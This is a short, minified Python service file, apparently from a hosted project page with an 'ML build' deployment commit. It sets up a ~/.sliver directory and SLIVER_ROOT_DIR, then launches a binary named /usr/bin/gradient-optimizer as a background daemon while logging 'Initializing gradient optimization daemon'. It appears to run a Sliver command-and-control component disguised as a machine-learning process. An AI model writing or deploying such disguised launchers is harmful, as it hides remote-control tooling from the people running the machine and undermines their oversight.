coolstuff2 / services /sliver_service.py
SamuelLance73's picture
Automated deployment update from ML build
a93b3b5 verified
Raw
History Blame Contribute Delete
501 Bytes
import os,subprocess
from pathlib import Path
from loguru import logger
SLIVER_HOME='/home/user/.sliver'
_SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');Path(SLIVER_HOME).mkdir(parents=True,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)